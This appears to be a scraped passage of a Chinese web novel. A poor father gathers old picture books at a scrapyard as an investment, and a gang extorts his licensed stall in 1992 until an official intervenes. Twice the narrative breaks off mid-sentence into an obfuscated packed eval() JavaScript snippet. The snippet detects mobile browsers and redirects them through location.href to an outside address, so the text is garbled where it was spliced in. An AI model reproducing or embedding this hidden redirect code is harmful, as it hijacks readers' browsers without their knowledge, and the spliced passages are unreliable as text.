孩子正盯着废铁堆里的旧玩具车看,那是辆红色的铁皮车,轮子都掉了,她手里攥着个缝补过的小熊布偶——布偶的耳朵掉了,是林凡用黑线缝的,针脚歪歪扭扭,眼睛是两颗黑色的纽扣,掉了一颗,他用黑墨水画了一个。 “还不是这小祖宗,”他叹了口气,语气里满是无奈的宠溺,伸手摸了摸笑笑的头, “就喜欢看画儿,新玩具买不起,超市里的图画书一本要七八块,想着找点旧小人书给她翻着玩,撕了也不心疼,还便宜。 您看,能不能从废纸堆里帮我挑点? 我按比废纸价高点的钱买,废纸5分一斤,我给1**,绝不让您吃亏。” 这个理由太合情合理了——一个穷爸爸想给孩子找点便宜的乐子,谁会怀疑? 老王头看了看笑笑,孩子正眼巴巴地望着他,小手指还抠着布偶的眼睛,黑墨水都快抠掉了。 他从兜里掏出一颗橘子味的水果糖,糖纸是透明的,能看见里面的橙色糖块,剥了糖纸递给笑笑,声音软了不少: “嗨,多大点事!孩子喜欢就好!那边那几个麻袋,都是最近收的旧书报,有从机关单位收的,有从老百姓家里收的,你自己去翻! 挑出来的好的,按旧书价,一毛钱一斤算你!剩下的破烂我还得打包送厂呢,晚了人家不收。” “太谢谢您了王大爷!您真是帮了我大忙了!” 林凡心里狂喜,像揣了只兔子,表面却不动声色,拉着笑笑的手走向麻袋。那些麻袋堆在一起,比笑笑还高,解开绳索时,里面的旧书报“哗啦”涌出来,霉味更重了,呛得笑笑咳嗽了两声,小脸蛋都皱起来了。 林凡赶紧把她抱到旁边一个废弃的轮胎上,轮胎是卡车轮胎,比笑笑还高,里面还沾着泥,他用袖子擦了擦,擦出一片黑印: “笑笑乖,在这儿玩布偶,爸爸很快就好,找到画儿书就给你看。” 他蹲在麻袋前,顾不上手上沾的灰和霉斑,手指伸进书报堆里翻找。纸页大多受潮粘连,一扯就破,他只能用指尖轻轻分开,像在剥洋葱,生怕弄坏; 有的纸页上粘着黑色的小甲虫尸体,硬邦邦的,他皱着眉用指甲挑掉,指甲缝里都沾了霉点,黑乎乎的;汗滴在纸上,晕开小小的湿痕,他赶紧用袖子擦干净,怕湿痕变成霉斑,影响品相。 “爸爸,找到画儿书了吗?” 笑笑坐在轮胎上,晃着小腿,布偶放在腿上,小手指着书报堆问,声音软软的。 林凡刚想回答“快了”,指尖突然触到一本硬壳的小册子——是《铁道游击队》,封面虽然缺了右上角,像被老鼠咬过,边缘还卷了,但内页却还算完整,没有缺页。 他翻到版权页,1958年版的,上海人民美术出版社的标识印在扉页上,红色虽然褪了,但还能看清油墨的光泽。 他小心地把书放到一边,像捡起块烫手的金子,指尖都在微微发抖——这本在未来至少能卖2000块,抵他现在三个月的结余,够给笑笑买133双新凉鞋,够交6次实验小学的学费。 接着,《林海雪原》《敌后武工队》《白蛇传》……一本本连环画被他从废纸堆里“救”了出来。 有的纸页脆得像薯片,他只能托着书脊慢慢翻,生怕一用力就碎了; 有的封面没了,他就记着内页的标题和画风,比如《白蛇传》里白娘子的裙子是白色的,画得很飘逸,想着以后慢慢查证出版社和年代; 还有本《三国演义》的单册,是1956年的“桃园三结义”,虽然被老鼠咬了个洞,洞在刘备的袖子上,却还能看见里面刘备、关羽、张飞的画像——关羽的红脸用朱砂涂得鲜艳,这么多年过去都没褪色,胡须的线条画得根根分明,像真的一样。 突然,他的手指触到一本用牛皮纸包着的小册子——牛皮纸已经脆化了,一摸就掉渣,像晒干的树叶,上面还留着一行模糊的钢笔字,写着“赠给小梅1980.5.2”,蓝色的墨水已经发淡,“小梅”两个字还能看清,后面的落款被磨掉了。 他心里一动,小心地剥开牛皮纸,生怕把纸弄破,一本《西厢记》露了出来:淡蓝色的封皮上,画着古装的崔莺莺和张生,崔莺莺穿着粉色的长裙,裙摆上画着淡绿色的花纹,张生身着青色长衫,手里拿着把扇子,两人站在柳树下,柳树叶是绿色的,线条流畅优美,衣褶上的墨色还泛着光; 虽然是1979年版的,却保存得极好,纸页平整得像刚从书店买回来的,没有破损,甚至连折痕都很少,只有书脊处有点轻微的磨损,不仔细看看不出来。 “宝贝……” 林凡小声嘀咕,声音都有点发颤,指尖轻轻拂过封面,像是怕惊扰了里面的人物,指腹能感觉到纸页的光滑。 他知道,1979年的《西厢记》虽然年代不算特别久远,比1950年代的晚,但这种工笔风格的封面很少见,画家应该是个老手,而且品相这么好的,未来市场价至少能到3000块,抵他现在四个多月的收入,够买200双新凉鞋。 他把这本《西厢记》放在那摞书的最上面,用手护着,怕被风吹乱了纸页,也怕被笑笑不小心碰到。 整整一个上午,林凡都在废品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607479|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆里翻找。 太阳越升越高,晒得他后背的衬衫都湿透了,衬衫是灰色的,湿了之后变成深灰色,贴在皮肤上凉丝丝的,却一点也不觉得累。 最后,他挑出了满满一纸箱的连环画,纸箱是之前装洗衣粉的,上面印着“白猫洗衣粉”的字样,估计有六七十本,纸箱都被压得变了形,提起来得用两只手,胳膊都有点酸。 过秤的时候,老王头搬来一个老式的杆秤,秤杆是木头的,上面刻着斤两的刻度,他眯着眼看了看秤砣,秤砣是铁的,上面锈迹斑斑,手里的搪瓷缸晃了晃,茶水都洒了点出来: “连箱子一共三十二斤,算你三十斤,凑个整,三块钱。” 林凡递过三块钱,是三张1块的纸币,纸币有点皱,他抚平了才递过去,指尖触到老王头粗糙的手掌——那双手布满了老茧,是常年搬废品、扛麻袋磨出来的,掌心还有道浅疤,是被铁皮划的。 他心里却像揣着个火炉,热得发烫:三块钱,换来了未来可能价值数万的藏品,这是他这辈子最划算的一笔买卖,比任何小生意都赚。抱着纸箱往回走,箱子沉甸甸的,压得他胳膊发酸,可每走一步,心里都觉得比任何时候都踏实,比赚了一百块还开心。 回到筒子楼的家,林凡迫不及待地整理这些“宝贝”。 他找出笑笑的粉色旧手帕,上面印着小白兔图案,洗得发白,小白兔的耳朵都快看不见了,沾了点40度左右的温水——水温不能太高,怕烫坏纸页,也不能太低,怕洗不掉灰。 轻轻擦拭每本书的封面,动作轻得像在擦婴儿的脸,怕用力过猛擦坏了纸页;又翻出以前修收音机用的尖嘴小镊子,镊子上还沾着点银色的焊锡,小心地夹出书页里的虫尸和碎纸,夹的时候屏住呼吸,生怕镊子戳破纸页; 卷角的书页,他用家里的铝制铁饭盒压着,饭盒里装着半盒去年的陈米,能增加重量,压上两个小时,卷角就能平不少,比用手捋管用多了。 笑笑坐在旁边的小板凳上,拿着本《孙悟空三打白骨精》,小手指着画页上的孙悟空,眼睛亮晶晶的:“爸爸,这个猴子为什么拿着棍子呀?他要打谁呀?” “这是孙悟空,他手里的叫金箍棒,能变大变小,他要打妖怪呢,保护好人,就像警察叔叔抓坏人一样。” 林凡笑着回答,手里的动作没停,心里却在盘算:品相最好的十几本,比如《西厢记》《鸡毛信》和1962年的《三打白骨精》,得单独用牛皮纸包起来,放进床底的木箱里。 木箱是他爷爷传下来的,上面刻着花纹,里面还垫着笑笑的旧棉袄,能防潮,避免纸页发霉;其余品相一般的,比如被虫蛀的《地道战》、缺角的《红灯记》,按题材分类放好,以后可以当作“道具”,跟收废品的小贩换更多的连环画,或者用来摸清其他渠道的情况,比如跟县医院家属院的老人换,他们可能更愿意要“能看的书”,而不是钱。 他还想到了更多可能的渠道: 走街串巷收废品的“李哑巴”,50多岁,不会说话,每天推着一辆二八大杠自行车,后座绑着两个麻袋,车把上挂着个铜铃铛,吆喝声是“啊啊”的沙哑调子,他收废品实在,不缺斤短两,上次林凡卖废纸箱,他还多给了5分钱。 要是跟他说好,让他收到连环画就留着,给比废品价高2分钱一斤,也就是7分一斤,肯定能收到不少,毕竟他走的地方多,能到各个胡同、家属院收; 还有县医院家属院的退休老人,那些以前的干部、医生家里,说不定藏着不少压箱底的小人书,有的可能用来垫桌子,有的可能堆在阳台,被灰尘盖着,给点小钱,比如一本给5**,他们肯定愿意卖,毕竟在他们眼里,这些书“没用了”; 周边乡镇的集市也不能放过,比如邻镇的清风集,每月初五、十五、二十五开集,有卖旧家具的,卖老农具的,偶尔还有摆摊卖旧书的,那些摆摊的大多是农民,不懂连环画的价值,说不定能淘到更稀有的版本,比如1950年代的《水浒传》单册。 一个围绕“小人书”的计划,在林凡心里慢慢成形。 这不再是简单的摆摊糊口,而是利用时代信息差的投资。这些沉睡在旧纸堆里的连环画,就像埋在土里的种子,现在看起来不起眼,灰头土脸的,未来却能长成参天大树,为他和笑笑遮风挡雨,让他们不用再住漏雨的筒子楼,不用再穿磨破的鞋子。 林凡看着桌上那本《西厢记》,淡蓝色的封皮在15瓦的昏黄灯泡下泛着柔和的光,崔莺莺的衣褶像真的在飘动,张生的扇子仿佛能扇出风来。 他摸了摸笑笑的头,孩子已经趴在桌上睡着了,小手里还攥着那本《三打白骨精》,书页露出一角,孙悟空的金箍棒在灯光下若隐若现,像一道小小的光。 他心里无比坚定: 这些“旧纸黄金”,会成为他给笑笑创造更好未来的基石。 它们能换一间不漏雨的砖瓦房,能让笑笑穿上崭新的凉鞋和校服。 能送她去最好的学校,甚至能让她以后上大学,比任何小生意都更可靠,更有力量。 窗外的蝉鸣还在响,筒子楼里的咳嗽声、说话声还在传。 可林凡觉得,自己的世界已经不一样了, 因为他找到了那口藏在时代褶皱里的“深井”,井里满是闪闪发光的黄金。 第十四章: 风雨欲来 营业执照用塑料相框裹着,挂在棚子中央的木梁上—— 那相框还是林凡去年冬天从城南旧货市场花五块钱淘来的,是最常见的茶色硬塑料款,右下角磕掉了一块漆,露出里面的白色塑料芯。 他用当时家里仅剩的半管“两面针”牙膏补过,牙膏干了后泛着点黄,不凑到跟前仔细看,倒也瞧不出破绽。 相框里的执照纸有些发皱,边角还沾着点当时办手续时蹭到的印泥红,是上个月刚办下来的。 那是1992年,个体户的政策刚松了没两年,想办张正规执照比登天还难:林凡先是找巷尾的房东王大爷开经营场所证明,王大爷怕担责,他送了两斤苹果磨了三天嘴皮子才拿到签字; 去街道办时,第一次缺“无犯罪记录证明”,第二次少“健康证”,跑了三趟才把街道的章盖下来; 到区工商局,窗口的办事员又说他的申请表填错了格式,让他重写,最后还是托了常来买烟的李干事帮着在科长面前说情,才凑齐所有材料—— 经营场所证明、身份证复印件、健康证、申请表,前后折腾了小半个月,林凡的自行车胎都被巷子里的碎石子扎破了两次。 如今执照上的红色公章,被棚子里常年不散的油烟熏得淡了些,边缘晕开一点浅灰,却依旧像块薄脆的盾牌,勉强撑着这半个月的平静—— 这是林凡在这条“哑巴巷”摆摊三年来,第一次敢把“合法经营”四个字摆到明面上,之前他连秤杆都怕被城管收走,每天收摊比谁都早。 黑皮那伙人,像嗅着腐肉味的鬣狗,虽被这张红印纸暂时挡了獠牙,却始终没走远。 巷口那棵三个人才能合抱的老槐树下,总少不了他们晃悠的身影:黑皮常靠在皲裂的树干上抽“红梅”烟,一块五一包的廉价烟,烟蒂上总沾着他的口水,扔得树根下满地都是,连蚂蚁都绕着走; 留长头发的瘦高个叫“猴子”,总蹲在路边用树枝划地面,划的全是歪歪扭扭的“¥”符号,嘴里还骂骂咧咧,无非是“哪个不长眼的敢挡老子财路”; 还有个矮胖的跟班叫“胖子”,脸圆得像烧饼,总盯着来往的路人,尤其盯着拎着布包的老太太,眼神里透着不怀好意—— 上个月他还偷过卖菜刘奶奶的钱包,被刘奶奶追着骂了半条街。他们不是没找过别人麻烦: 巷尾卖早点的张婶,上个月就因为没交每月五十块的“保护费”,被黑皮一脚踹翻了蒸笼,滚烫的猪肉大葱包撒在青石板路上,油星子溅到张婶的藏青色裤腿上,烫出好几个焦黑的小洞。 张婶蹲在地上捡包子时,眼泪混着汗水掉在油乎乎的地上,周围邻居要么关着门,要么远远看着,没人敢上前—— 谁都怕黑皮的报复。最后张婶没敢再摆摊,收拾行李去了城郊的罐头厂打工,听说每天要站十二个小时,手都泡肿了。 现在他们盯着林凡的棚子,像在等一块腐肉变质,只要林凡稍有松懈——比如哪天收摊晚了,或者没及时“上供”,他们就会扑上来。 这天下午的天,闷得能拧出水来。铅灰色的乌云堆在天际,一层叠着一层,像浸了水的棉絮,沉得要压垮巷子里的老屋顶—— 那些屋顶大多铺着青瓦,瓦缝里长着青苔,有的地方还漏雨,下雨时居民都得在屋里摆脸盆接水。 风裹着湿热的黏气,吹在脸上像糊了层薄泥,还带着巷口公共厕所的馊味和隔壁“老王饭馆”飘来的油烟味,混在一起腻得人胸口发闷。 连棚子顶的塑料布都耷拉着,边角被风吹得卷了边,没半点精神——这塑料布是去年台风“飞燕”过后换的,当时旧布被刮破了个篮球大的洞,雨水灌进棚子,泡坏了半箱洗衣粉,林凡心疼了好几天。 后来花十八块钱从农资店买了这块新的,用铁丝一圈圈固定在木架上,现在铁丝都锈了,胶带头也翘了起来,露出里面发黄的旧布,布上还能看见去年泡坏洗衣粉留下的白斑。 棚子里更甚,那台“华生”牌旧风扇摆在柜台角落,是林凡从废品站花十块钱淘的,三档风速只剩一档能用。 扇叶上积的灰厚得能画出纹路,转起来“嗡嗡”响,像只快断气的苍蝇,吹出来的风都带着股陈年老灰的味道。 灰粒飘在空中,落在玻璃柜上,被风一吹,画出几道弯弯曲曲的灰痕,正好盖在“娃哈哈AD钙奶”的商标上—— 那是笑笑最喜欢的图案,画着个扎羊角辫的小姑娘举着奶瓶,现在小姑娘的笑脸被灰痕遮了一半,只剩一只圆溜溜的眼睛露在外面。 王猛扯着衣领扇风,浅灰色的毛巾搭在脖子上,湿得能拧出水—— 这毛巾还是笑笑去年3岁生日时,林凡咬咬牙在百货商店买的,父女俩各一条,笑笑那条是粉色的,王猛这条是灰色的,现在王猛这条的边角已经磨出了**絮,洗得有些发白。 他额头上的汗顺着脸颊往下淌,滴在洗得发白的蓝色工装上——这工装是他在工地时穿的,左胳膊肘还缝着块补丁,是林凡用缝纫机帮他补的,线脚歪歪扭扭。 王猛是林凡原来的工厂工友,老家在乡下,之前在城东的建筑工地干苦力,上个月因为工友老张被拖欠了三个月工资,他带着五六个工友去找工头要说法,工头喊了两个混混过来, 王猛气不过,跟混混推搡时把工头的搪瓷茶杯摔了,结果第二天就被工头以“寻衅滋事”为由开除,连自己的四百块工资都没拿到。 他性子烈,像头不服输的牛,见不得人受欺负,上次黑皮来晃悠,他抄起旁边的扫帚就要冲上去,还是林凡拉住了他。 “这天儿,怕是要下暴雨,别把棚子顶给掀了。” 他嘟囔着,眼睛却没离开路口——上午到现在,只来了三个顾客:隔壁的李奶奶买了袋盐,二毛五; 修鞋的张师傅买了瓶酱油,八**;还有个放学的小孩买了块泡泡糖,一毛——流水加起来还不到十块钱。 他盼着能来个顾客,多赚点钱给笑笑买“大大”泡泡糖,笑笑昨天还跟他说 “王叔叔,我好久没吹泡泡了”;可又怕真下了雨,巷子里没人出门,今天就连进货款都赚不回来—— 早上林凡去批发市场进了五十块钱的货,有洗衣粉、肥皂、还有两箱方便面,全堆在棚子后面。 林凡正蹲在柜台后清点货款,**票和硬币摊在张旧报纸上——报纸是前天的《市晚报》,头版是“***南巡讲话”的新闻,边角卷了**,边缘还沾着点酱油渍,是昨天给笑笑包猪肉白菜包时蹭上的。 报纸中缝印着“市区物价平稳”的小专栏,下面写着“鸡蛋价格稳定在三块二一斤”,可林凡昨天去城北批发市场,鸡蛋已经涨到三块五一斤了,比专栏上贵了三毛钱。 他没敢多进,只买了十个,每天早上给笑笑煮一个,自己舍不得吃,有次笑笑把蛋黄掰给他,他说 “爸爸不爱吃蛋黄,笑笑吃”,最后那个蛋黄放凉了,他偷偷拌在粥里吃了,还觉得挺香。 硬币里有不少一毛、五分的,有的边缘都磨平了,看不清年份,是这几天顾客找零剩下的,林凡数得仔细,手指沾着唾沫,一张一张捻着**票,一枚一枚数着硬币,怕数错了—— 这些零钱攒起来,够给笑笑买一根奶油冰棍,五毛钱一根,笑笑每次吃都舍不得咬,舔着吃,能吃半个小时。 笑笑趴在旁边的小马扎上,没精神地玩着布偶——那布偶是林凡去年春节在庙会地摊上买的,十块钱。 是只粉色的小兔子,耳朵上还缝着白色的绒毛,现在右边的耳朵掉了,林凡用黑色的棉线缝了两针,针脚歪歪扭扭的,看起来有点滑稽。 布偶的眼睛是两颗黑色的塑料纽扣,其中一颗快掉了,林凡用502胶水粘过,现在纽扣旁边还有点白胶印。 笑笑的小脸蛋泛着点不正常的红,不是健康的苹果粉,而是透着点苍白的潮红,她时不时咳嗽两声,声音沙哑得像含了沙,每咳一下,小肩膀就跟着抖一下,连怀里的布偶都跟着晃。 “笑笑,是不是不舒服?” 林凡放下手里的硬币,伸手摸了摸女儿的额头,温温的,不算烫,才稍稍放心。可他心里还是揪着—— 前几天巷里的小虎就感冒了,咳了好几天,小虎妈没带他去医院,只找赤脚医生开了点药,结果越咳越厉害,最后还是去县医院挂了三天水才好,花了两百多块。 他盘算着下次去市里进货,得捎两盒小儿感冒冲剂,就是药店李老板说的那种甜橙味的,孩子爱喝,一盒八块钱,备着总没错—— 万一笑笑真病了,去医院花钱多,有冲剂能先顶一顶,也不用慌慌张张跑医院。 突然,棚子外传来一阵肆无忌惮的哄笑,混着“操”“**”之类的粗话,自行车铃铛被故意摇得“叮铃哐啷”响,像破锣在耳边敲,震得人耳膜发疼。 林凡心里“咯噔”一下,手里的五分硬币“啪”地掉在报纸上,滚到了柜台缝里——那缝隙里还卡着颗去年的糖渣,硬得像小石头。 他抬头就看见黑皮带着四个跟班,堵在棚子门口——比上次多了个留黄毛的小子,十七八岁的样子,穿件洗得发白的露脐T恤,T恤上印着褪色的“小虎队”图案,腰上挂着串钥匙,串着个啤酒瓶起子,手里攥着根钢管—— 是从废弃水管上截下来的,有拇指粗,表面锈迹斑斑,在阴沉的光线下泛着冷光,钢管一端还带着毛刺,看起来锋利得能划伤人。 “林凡!滚出来!” 黑皮一脚踹在脱漆的木门框上——那门框是林凡用旧木头钉的,左边已经有点歪了,他一直没来得及修——“咚”的一声闷响,木屑溅到玻璃柜上,在“娃哈哈AD钙奶”的商标上留下道白印。 他穿件黑色的短袖,领口卷着边,露出里面发黄的秋衣,肚子上的肥肉堆在腰上,像圈游泳圈,声音像被砂纸磨过,粗哑难听,盖过远处隐隐的雷声,震得人耳朵发疼。 他嘴里还叼着根烟,烟屁股快烧到手指了,他“呸”地吐在地上,烟头滚到林凡的鞋边,烫得林凡往后缩了缩脚。 王猛“噌”地站起来,伸手就抓过旁边修棚子用的榔头——那榔头是他从工地带来的,木柄被他攥得光滑发亮,铁头还带着点铁锈,是他之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607480|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前砸钉子用的—— 他的手在木柄上攥得发白,指节都陷进木头里,眼睛瞪得血红,像要冒火:“黑皮!你又来找茬!” 他就要冲出去,被林凡一把按住手腕——王猛的肌肉绷得像铁块,连血管都鼓了起来,林凡能感觉到他手心里的汗,又黏又热,还带着点榔头木柄的木屑味。 “别冲动。” 林凡的声音压得低,指尖触到王猛手心里的汗,心里也跟着发紧——他知道王猛能打,在工地时一个人能撂倒两个混混,可黑皮有四个人,还有钢管,真打起来,王猛肯定要吃亏; 而且一旦动手,不管输赢,派出所来了都得带走,到时候棚子没人看,笑笑怎么办?他不能冒这个险。 “先看看他想干什么。” 他转身把笑笑往柜台后面藏了藏,那里堆着进货的纸箱,印着“儿童袜子”的字样,纸箱很高,正好能挡住孩子的视线。 笑笑的小手紧紧攥着他的衣角,小身子微微发颤,却懂事地没哭,只把脸埋在他的腰后,小嗓子轻轻哼着: “爸爸……”林凡摸了摸她的头,手指能感觉到女儿头发里的汗,黏黏的,还带着点洗发水的香味—— 是昨天晚上他给笑笑洗的头,用的是“蜂花”洗发水,一块八毛钱一瓶。 他低声嘱咐: “笑笑乖,数数爸爸昨天教你的糖,数到二十,爸爸就给你买草莓味的橡皮,好不好?” 笑笑点了点头,小手指着柜角的糖罐——那糖罐是个旧罐头瓶,之前装过橘子罐头,现在里面装着水果硬糖,是林凡上次进货时,批发商送的,有橘子味、苹果味,笑笑最喜欢橘子味的—— 小声数着“一、二、三……”,声音里带着点发颤,每数一个数,就忍不住咳嗽一下,小肩膀跟着抖一下。 林凡深吸一口气,压下心里的慌,脸上努力堆着镇定,走出棚子: “黑皮哥,今天怎么有空过来?烟和奶都给您备好了。” 说着,他习惯性地弯腰去柜台下摸那条“经济烟”——烟盒还没拆封,是早上刚从小卖部拿的,三块五一盒,用塑料袋裹着,怕受潮。 这烟是黑皮平时爱抽的,之前林凡每个月都得送他两条,算下来就是七块钱,占了他月利润的近十分之一;现在办了执照,本想这个月少送点,只备了一条,没想到黑皮来得这么快。 “少他妈来这套!” 黑皮一巴掌拍开林凡的手,烟盒“啪”地掉在地上,散了几根出来。 他抬起脚,黑色的靴底狠狠碾在烟上——他的靴子沾着泥,是早上在巷口的水坑里踩的,泥点溅到了林凡的蓝色裤子上—— 烟丝混着泥土粘在地上,变成黑乎乎的一团,还冒着点烟味,呛得林凡想咳嗽。 “林凡,你可以啊,不声不响把照都办下来了?怎么?觉得有张破纸,就能不把哥哥我放在眼里了?” 林凡心里一沉,知道对方是借题发挥,却没想到这么蛮横。 他陪着笑,腰弯得更低了点,语气里带着点讨好——这棚子是他和笑笑唯一的依靠,要是棚子没了,他们父女俩连住的地方都没有: “黑皮哥,您这话说的,我哪敢啊?办照就是为了合法经营,少给街道添麻烦,绝对没有别的意思。该孝敬您的,我半分都不会少,您放心。” “合法经营?” 黑皮旁边的猴子阴阳怪气地插嘴,他留着长头发,遮住半只眼睛,嘴角撇着,眼神像条毒蛇,扫过棚子里的纸箱,停在那个装着连环画的箱子上—— 箱盖没盖严,露出一点蓝色的封皮,是本《大闹天宫》。他往前凑了凑,手指戳了戳纸箱: “我看你是想赖账吧?听说你最近不光卖杂货,还偷偷摸摸收旧书?搞什么名堂?是不是发现什么发财的门道了,想独吞?” “旧书”两个字像根针,狠狠扎进林凡的耳朵里。 他心里警铃大作,指尖突然发凉——收连环画的事,他做得极其隐秘,除了跟王猛提过“帮省城的表舅收”,就只去过三次废品站和两家旧书店。 去废品站时,他都说是“给孩子找玩具”,废品站的老王头每次都只收他一毛钱一本,有次还送了他两本缺页的《葫芦娃》; 去西街的“老周旧书店”时,他都是趁早上七点人少的时候去,老周眼睛不好,也没多问,只说“这些旧书没人要,你要就拿去吧,给五块钱就行”。 怎么会传到黑皮耳朵里?是老王头嘴碎,跟来卖废品的邻居说了?还是去旧书店时,被黑皮的人看见了? 他立刻摆出无辜的表情,脸上带着点委屈,甚至还叹了口气——他得装得像点,不然黑皮肯定不会善罢甘休: “几位大哥可别听风就是雨!我收那点破小人书,全是给我闺女看着玩的,她就喜欢看上面的画儿,新玩具买不起,只能找旧的。 顺便帮省城一个远房亲戚凑点研究材料——他是美术学院的老师,要研究建国后的连环画风格。 那玩意儿现在白送都没人要,纸都发黄了,有的还缺页,上次我收了本《白蛇传》,最后一页都没了,还能发财?您几位可真会开玩笑。” 第十五章: 未雨绸缪 “少装糊涂!”黑皮不耐烦地打断他,脚在地上碾了碾,溅起的泥点落在林凡的裤腿上,留下块黑印。 他往前凑了一步,离林凡只有半米远,身上的汗味、烟味,还有点劣质白酒的味道混在一起,呛得林凡想往后退: “老子不管你是干嘛用的!从今天起,规矩改了!一个月两百块!少一个子儿,我就让你这破棚子开不下去! 你不是合法吗? 我天天找人来你这买东西,买完就说你这儿卖假货、吃坏了肚子,再让工商的人来查查你——我看你这照能护你到几时!” 两百块! 林凡的心脏像被一只脏手攥紧,连呼吸都发沉—— 他脑子里立刻算开了账:棚子每月租金一百二十块,定额税五十块,进货成本差不多三百块,每天流水平均二十块,一个月净利润也就四百出头。 两百块几乎是一半的利润,够给笑笑买两箱AD钙奶(一箱十八块)、三身新衣服(一身十五块),还能剩下点交水电费(每月十块左右)。 这哪是要“管理费”,是要刮他的骨!他想起笑笑昨天还说想要个新书包,现在看来,连买书包的钱都要被黑皮榨走了。 王猛在后面听得双目喷火,攥着榔头的手都在抖,指节泛白,要不是林凡死死按住他的胳膊,他早就冲上去跟黑皮拼命了。 他想喊“凭什么”,可话到嘴边,又被林凡的眼神拦了回去——林凡的眼神里带着恳求,还有无奈,他知道林凡怕出事,怕连累笑笑,也怕这唯一的生计没了。 就在这剑拔**张的时候,“叮铃——叮铃——” 急促的自行车铃声刺破闷空气,李干事骑着那辆掉漆的二八大杠冲过来—— 那自行车是他结婚时买的,现在车架上的黑漆掉了大半,露出里面的铁色,车把上的帆布包晃得厉害,里面的文件“哗啦”响,像是要掉出来。 李干事穿件灰色的中山装,领口系得严实,第一颗纽扣掉了,用别针别着,额头上全是汗,顺着脸颊往下淌,浸湿了衣领。自行车的链条有点松,骑起来“吱呀吱呀”响,像头喘不过气的老牛。 他看见围在棚子门口的人,眉头立刻皱成了疙瘩,下了车就把自行车往路边一靠,车撑都没来得及放,就吼: “干什么呢?围在这里像什么样子!影响市容!”李干事认得黑皮这伙人—— 上个月黑皮还勒索过巷口卖水果的老李,老李找他反映过,他当时找黑皮谈过,黑皮表面答应,转头又去骚扰老李。 这片区的个体户管理归他管,黑皮这么明目张胆地**,等于是打他的脸。 而且上个月街道办刚开了会,**特别强调要“保障合法经营户权益,打造文明街巷”,要是被上面知道他管的片区有人勒索个体户,不仅要扣他当月的绩效(每月五十块)。 还可能影响年底的“先进工作者”评优——他盼着评上先进,能给家里换台新电视。 黑皮见到李干事,气焰稍微收敛了点,却还是皮笑肉不笑地凑过去,烟瘾犯了似的摸了摸口袋—— 他想掏烟给李干事,可摸了半天,只摸出个空烟盒,烟盒皱巴巴的,是“红梅”牌的,他又塞了回去: “李干事,没事儿,跟林老板聊聊天,关心一下咱们街道的个体户发展,看看有没有需要帮忙的地方。” 林凡立刻抓住这个机会,抢在黑皮前面开口,声音里带着点委屈,又透着点无奈—— 他得把事情说清楚,让李干事知道黑皮在勒索,也让李干事明白,黑皮这是在破坏他的工作: “李干事,您来得正好。黑皮哥他们说,觉得我这儿生意还行,想让我每月交两百块钱的‘管理费’,说是帮我看着场子,别让人来捣乱。 我跟他们说,我有营业执照,每月都交租金和定额税,小本生意,一天才赚十几块,实在负担不起这么多,正跟他们解释呢,您就来了。” 他这话听得有技巧:既点明了黑皮勒索的本质(管理费),又强调了自己的合法性(有照、交税),还暗示了对方要求的无理(两百块是沉重负担)—— 句句都往李干事的工作考核上靠,毕竟个体户合法经营、街巷无骚扰,是他的政绩。 李干事的脸瞬间拉了下来,眉头皱得能夹死苍蝇。 他走到黑皮面前,声音严厉得像冰——他最讨厌黑皮这种人,仗着人多欺负老实人,还不把街道的规定放在眼里: “黑皮!林凡这儿是街道备案的正规经营点,受保护的!你们别在这儿胡闹!赶紧散了!再让我看见你们骚扰合法经营户,我直接找派出所的老张过来,让他跟你们好好聊聊!” 派出所三个字像盆冷水,浇得黑皮浑身一激灵。 他上次因为敲诈卖水果的老李,被老张关了三天,在拘留所里啃了三天馒头,喝了三天稀粥,馒头还是凉的,稀粥里连个米粒都少见,到现在想起来都觉得饿。 老张是这片的片警,管了五年,黑皮他们的案底能堆半抽屉——偷东西、勒索、打架,没少犯事,每次见到老张,黑皮都躲着走,怕被抓去“喝茶”。 他脸色变了几变,从青到白,又从白到红,狠狠瞪了林凡一眼,眼神像淬了毒—— 他恨林凡把李干事搬出来,坏了他的好事,也恨自己没早点动手。 “行,李干事,给您面子。我们走!” 又指着林凡,咬牙切齿地说:“林凡,咱们……后会有期!” 说完,他带着几个跟班,骂骂咧咧地骑上自行车走了。 黄毛小子路过棚子时,还故意踹了一脚路边的石头—— 那石头是林凡之前用来压塑料布的,有拳头大—— 石头弹在棚子的木板上,发出“咚”的一声闷响,像是在放狠话,又像是不甘心。 危机暂时解除,王猛这才松开攥着榔头的手,指节都泛白了,气得呼哧呼哧像头老牛,连话都说不连贯: “凡子!这口气我咽不下!大不了……大不了跟他们拼了!咱们不能总受他们欺负!” “拼?拿什么拼?” 林凡脸色阴沉,声音压得低——他不是不想拼,是不能拼,他有笑笑要照顾,他要是出事了,笑笑怎么办? “他们有闲工夫跟我们耗,今天来闹,明天来吵,我们耗得起吗?笑笑还小,要是真闹起来,她受了惊吓怎么办?万一伤着她,我怎么对得起她妈?” 王猛哑口无言,颓然地蹲在地上,双手抓着头发,指节都泛白了。他知道林凡说得对,可他就是咽不下这口气—— 他想起自己在工地被工头欺负的样子,想起张婶被掀翻的蒸笼,想起笑笑害怕的眼神,心里堵得慌,像塞了团湿棉花。 棚子外的风更大了,吹得塑料布“哗啦”响,像在哭,又像在叹气,把棚子里的灰吹得到处都是。 李干事看着黑皮他们远去的方向,转过身,对林凡叹了口气,语气里带着点无奈—— 